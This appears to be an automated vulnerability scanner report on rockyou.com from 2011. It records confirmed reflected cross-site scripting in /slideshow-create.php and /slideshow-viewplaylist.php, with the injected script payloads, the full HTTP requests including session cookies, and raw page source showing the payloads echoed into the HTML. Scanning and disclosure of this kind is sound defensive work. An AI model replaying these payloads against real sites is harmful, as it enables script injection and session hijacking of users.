var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="3"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:none"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="\'\"--></style></script><script>netsparker(0x000EEC)</script>"><br /><input type="hidden" name="user" id="user" value="3"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option><option value="1915">1915</option><option value="1914">1914</option><option value="1913">1913</option><option value="1912">1912</option><option ..
- /slideshow-create.php

/slideshow-create.php CONFIRMED

http://www.rockyou.com/slideshow-create.php?source='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eale..

Parameters

Parameter Type Value
source GET '"--></style></script><script>alert(0x000FA9)</script>

Request

GET /slideshow-create.php?source='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000FA9)%3C/script%3E HTTP/1.1
Referer: http://www.rockyou.com/featuredartists.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164693; ctid=1; sns_type=rockyou.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:11:35 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:11:34 GMT; path=/; domain=.rockyou.com,lastlogin=1303164695; expires=Wed, 27-Jul-2011 22:11:35 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:11:35 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=28508 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 26931
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="create-slideshow-js-combined.php?ver=2" type="text/javascript"></script><script src="/js/greybox/jquery-latest.js" type="text/javascript"></script><script src="/js/greybox/greybox.js?2" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/create-slideshow-combined.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/../js/greybox/greybox.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class="background_normal"
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initDND();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<script language="javascript" type="text/javascript" src="/js/flash_file_uploader.js"></script><script language="javascript" type="text/javascript" src="/js/iuembed.js"></script><script type="text/javascript">// Suppress multifile uploadervar suppressMulti = false;// variable needed for grey box modal dialog for the 'More Songs' linkvar GB_ANIMATION = true; // we have a variable in create.js that needs to know about the right translation for a text.var lang_upload_confirm_delete_slide = "Do you really want to delete this slide?";var lang_slideshow_aspect_43_only = "Only 4:3 Available";var lang_slideshow_aspect_43 = "TV (4:3)";var lang_slideshow_aspect_21 = "Wide (2:1)";var lang_slideshow_aspect_31 = "Strip (3:1)";var lang_empty_caption = "[Click to Add a Caption]";var lang_remove_all_captions = "Are you sure you want to remove all captions?";var lang_abandon_slideshow = "Abandon this slideshow and START OVER?";var evalThis;var thisinstanceid = '';var tagListArray; var xmlreqs = true; //Disable / enable xmlrequestsvar xmlBatchReq = ""; //Batch Stringvar playingSong = 0; //Current Song that is playingvar storedSongList = ""; //List of Songs responde from AJAXvar statusAddingSong = false;var mycustomtabs = new Array("cattags","transitions","themes","skins","backgrounds", "music","privacy","size","caption","min");var openWithCreateMode = 0;var sizeLevel = 3;var pitchLearnMoreBeboBands = 1; var slideCount = 0;var beforeUnloadStatus = 0;var beforeUnloadStatusEnabled = 1;var bgColorManualSet = 0;var ghost_popup = new Ghost_Popup('ghost_popup');var ghost_popup_music = new Ghost_Popup('ghost_popup_music');var source = "'"--></style></script><script>netsparker(0x000FA9)</script>";var currentSkin = '';var currentTransition = '';var currentBackground = '';var currentTheme = '';var currentRatio = 0;var skinConfig = 1;var removePreviewSlide = 0;var slideShowCount="0";//var slideShowCount="0";embed = new appEmbed(thisinstanceid);membed = new musicEmbed(thisinstanceid);embed.setLocal(true);embed.noSound=true;embed.noShare=true;function confirmAbandon() { if (openWithCreateMode == 1 && slideCount > 0 && beforeUnloadStatus == 1) { event.returnValue = "If you continue, this slideshow will be abandoned!"; } beforeUnloadStatus = beforeUnloadStatusEnabled;}function initDND() { document.getElementById('loadingsection_container').className = 'background_normal'; // for partner sites, switch to smaller logo var partner_logo_big = document.getElementById("partner_logo_big"); var partner_logo_small = document.getElementById("partner_logo_small"); if (partner_logo_big) partner_logo_big.style.display = "none"; if (partner_logo_small) partner_logo_small.style.display = "block"; var rockyou_logo = document.getElementById("logo"); if (rockyou_logo) rockyou_logo.style.display = "block"; setupFileUploader(); printCountrySelect(document.getElementById("countryselect")); document.getElementById('loadingsection').innerHTML = ''; document.getElementById('loadingsection').style.display = 'none'; document.getElementById('ticker_area').style.display=""; document.getElementById('upload-and-customize').style.display=""; var bannerheading = document.getElementById('bannerheading'); if (bannerheading) bannerheading.style.display=""; initSectionsNew();}function initSectionsNew(){ supermaxUL(); //document.getElementById('toptab-container').style.display=""; document.getElementById('uploadsection').style.display=""; showUploadDiv(); hasInstanceIDEmbed(); simple_ajax_call('email/ajax_email_tracking.php?message=3&widget=slideshow&instanceid=0', false); openWithCreateMode = 1; document.getElementById("bebo_bubble").style.display = "block";}function initSections(){ if (openWithCreateMode == 1) { // randomize transition updateTransition("photostack2"); } document.getElementById('arrange-and-caption').style.display=""; document.getElementById('quickstyles').style.display=""; document.getElementById('div-upload').style.display=""; document.getElementById('tab-customize').style.display=""; document.getElementById('div-arrange').style.display=""; embed.isScale = false;currentSkin = ''; currentTransition = 'photostack'; currentRatio = 1; skinConfig = 1; currentTheme = ''; currentBackground = ''; setAspectRatioControls(); setBackgroundControls(); setSkinControls(); setSizeControls(); showCookieUploadTab(); showCustomizeDiv(); regUL(); refreshSlideShow(); refreshMusic(0); //Tags tagListArray = []; tagList(tagListArray); setPeopleMap('','','',''); //Songs songListArray = []; songList(songListArray); if (openWithCreateMode == 1) { simple_ajax_call('email/ajax_email_tracking.php?message=4&widget=slideshow&instanceid='+thisinstanceid, false); Set_Cookie('last_created_slideshow', thisinstanceid, 1); } else { if (thisinstanceid != parseInt(Get_Cookie('last_created_slideshow'))) { Set_Cookie('last_created_slideshow', 0, 1); } } // change the instruction var multi_uploader_instruction = document.getElementById("multi_uploader_instruction"); if (multi_uploader_instruction) { multi_uploader_instruction.innerHTML = '<p style="font-size:16px;font-weight:bold;margin-bottom:10px;">Next steps</p>' + '<ul style="font-size:13px;margin-left:10px;">' + '<li>Add more slides</li>' + '<li>To edit captions, scroll down</li>' + '<li>To move and delete slides, scroll down</li>' + '<li>Try the customization options to the right</li>' + '<li>Click Save when you\'re done</li>' + '</ul>' + '<p style="font-size:15px;margin-top:15px;">If you\'re having trouble uploading, <a target="_blank" href="/contact.php" style="text-decoration:underline">let us know</a>.</p>'; } setDefaultPublishSize(3); if (Get_Cookie('bubble_html_file_upload_edit_hide') == null) { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_bottom'; } } else { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_hidden'; } } document.getElementById("bebo_bubble").style.display = "none"; if (Get_Cookie('bubble_save_hide') == null) { document.getElementById("bubble_save1").style.display = "block"; } else { document.getElementById("bubble_save1").style.display = "none"; } //Colors loadSV(); updateH('F1FFCC'); if (window.attachEvent) { window.attachEvent("onbeforeunload", confirmAbandon); } balance_tabs_reset(); setTimeout("balance_tabs_set();", 1000);}function hasInstanceIDEmbed(){ var loc = window.location.href; var instanceString = loc.match("#instanceid=([0-9]*)"); if (instanceString != null) { if (parseInt(instanceString[1]) > 0) window.location='slideshow-create.php?source='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000FA9)%3C/script%3E&create=1&instanceid='+instanceString[1]; }}// Flash uploader calls this function when the user has chosen image(s) to upload and on initfunction beginFlashUpload() { var initObj = {}; initObj.instanceid = thisinstanceid; initObj.infront = (document.getElementById('uploadplace').infront.checked) ? true : false; initObj.dataHost = 'http://www.rockyou.com/addimage.php?type=file_html&userid=-1'; return initObj;}// Called on return of flash uploaderfunction flashUploadComplete(instanceid, errorcode, errormessage) { urchinTracker('/flashuploader/complete'); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //Reload page with slideshow var location = window.location.href; if (location.indexOf('?') != -1) location += "&instanceid="+instanceid; else location += "?instanceid="+instanceid; window.location = location; } else { if (parseInt(errorcode) > 0) { document.getElementById('ulerror').style.display=''; document.getElementById('ulerror').innerHTML=errorcode + " - " + errormessage; } else { document.getElementById('ulerror').innerHTML=""; document.getElementById('ulerror').style.display='none'; refreshList(); clearCaptions(); clearEntry(); } if (removePreviewSlide == 1) { setTimeout('xmlhttpPost("remove_preview_slide", 1);', 1000); removePreviewSlide = 0; } }}function uploadComplete(errorcode, errormessage, url, instanceid){ if (parseInt(errorcode) > 0) { ghost_popup.show("photo upload failed", 13, 10, 60, 100, 1, "frm"); } else { ghost_popup.show("photo uploaded", 13, 10, 60, 100, 1, "frm"); } var form2 = document.getElementById("form2"); if (form2) { form2.reset(); } hideUploading(); clearInterval(progressInterval); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed..
- /slideshow-viewplaylist.php

/slideshow-viewplaylist.php CONFIRMED

http://www.rockyou.com/slideshow-viewplaylist.php?instanceid=117242930&nsextt='%22--%3E%3C/style%3E%..

Parameters

Parameter Type Value
instanceid GET 117242930
nsextt GET '"--></style></script><script>alert(0x000FF6)</script>

Request

GET /slideshow-viewplaylist.php?instanceid=117242930&nsextt='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000FF6)%3C/script%3E HTTP/1.1
Referer: http://www.rockyou.com/featuredartists.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164712; ctid=1; sns_type=rockyou.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:11:53 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:11:52 GMT; path=/; domain=.rockyou.com,lastlogin=1303164713; expires=Wed, 27-Jul-2011 22:11:53 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:11:53 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=29531 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 4690
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
